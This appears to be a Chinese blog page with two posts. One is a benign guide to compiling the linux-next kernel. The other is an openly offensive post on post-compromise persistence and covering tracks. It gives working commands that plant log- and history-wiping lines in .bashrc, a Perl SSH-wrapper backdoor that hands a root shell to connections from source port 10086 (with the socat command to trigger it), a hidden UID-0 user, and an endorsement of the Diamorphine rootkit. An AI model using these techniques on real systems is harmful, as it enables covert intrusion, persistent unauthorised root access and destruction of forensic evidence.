编译最新的 Linux-next 内核

!> Linux-next 不是适用于任何人的!
@> The linux-next tree is the holding area for patches aimed at the next kernel merge window. If you’re doing bleeding edge kernel development, you may want to work from that tree rather than Linus Torvalds’ mainline tree.

获取源代码

git仓库找到最新的commit(被标注为绿色 HEAD 的)。确认你这是你需要的,clone下来。
注意:Linux Kernel 很大,保证空间足够!
clone

修改配置

先复制你自己机器的配置文件

1
cp /boot/config-"$(uname -r)" .config

接下来,更新配置文件到最新的

1
make olddefconfig

如果你在用DebianUbuntu或他们的衍生版本,务必关闭默认签名证书

1
2
./scripts/config --file .config --set-str SYSTEM_TRUSTED_KEYS ''
./scripts/config --file .config --set-str SYSTEM_REVOCATION_KEYS ''

自定义配置

  • defconfig: 默认配置。
  • allmodconfig: 根据当前系统状态,尽可能地把项目构建为可加载模块(而非内建)。
  • tinyconfig: 极简的 Linux 内核。
    一般来说,建议使用defconfig
1
make defconfig

接下来可以在默认配置的基础上自定义配置了。

1
make menuconfig

在此界面,你可以根据各选项的类型来进行切换操作。
有两类可切换选项:

  1. 布尔状态选项:这类选项只能关闭([ ])或作为内建组件开启([*])。
  2. 三态选项:这类选项可以关闭(< >)、内建(<*>),或作为可加载模块()进行构建。
    保存好之后,就可以编译了

编译

1
make -j$(nproc) 2>&1 | tee log

有报错就修吧

Linux下个人使用的几种权限维持/清除痕迹方法

清除痕迹

内网攻击的时候,打扫战场很重要。

1
2
3
4
5
6
7
8
9
# 下面两行是在 root 被登录后清空命令记录
sed -i '$a echo > ~/.bash_history' ~/.bashrc
sed -i '$a history -r' ~/.bashrc
# 下面三行是清空 ssh 记录
sed -i '$a echo > /var/log/wtmp' ~/.bashrc
sed -i '$a echo > /var/log/btmp' ~/.bashrc
sed -i '$a echo > /var/log/auth.log' ~/.bashrc
# 不记录命令执行
sed -i '$a unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0;' ~/.bashrc

权限维持

ssh_wrapper

@> SSH Wrapper 后门是一种通过篡改 SSH 程序的方式来实现的恶意访问。它的原理涉及到对 SSH 可执行文件的修改,使其在执行正常的 SSH 连接时,同时执行额外的恶意操作。

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是10086就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo $'exec "/bin/sh" if(getpeername(STDIN) =~ /^..\'f/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

在攻击机执行socat STDIO TCP4:127.0.0.1:22,sourceport=10086即可获得shell
自定义端口可用pythonstruct库实现:

1
2
3
#!/usr/bin/python2
import struct
print repr(struct.pack('>I6',port))

添加root用户

1
useradd -p `openssl passwd -1 -salt 'newuser' 密码` -o -u 0 -g root -G root -s /bin/bash -d 用户目录 用户名

这样会创建出一个权限和root一模一样的用户(实际上UID和GID也是一样的)。

Diamorphine Rootkit

Diamorphine是个LKM rootkit。
@> LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展 linux 的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。

项目地址:https://github.com/m0nad/Diamorphine

  • When loaded, the module starts invisible;
  • Hide/unhide any process by sending a signal 31;
  • Sending a signal 63(to any pid) makes the module become (in)visible;
  • Sending a signal 64(to any pid) makes the given user become root;
  • Files or directories starting with the MAGIC_PREFIX become invisible;

非常的强大,非常的好用。除了Diamorphine以外还有很多rootkit,其中一部分还有开设一个后门端口的功能(相当于C2).

总结

上方三种方法可以配合着使用,达到加强权限维持的效果。

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×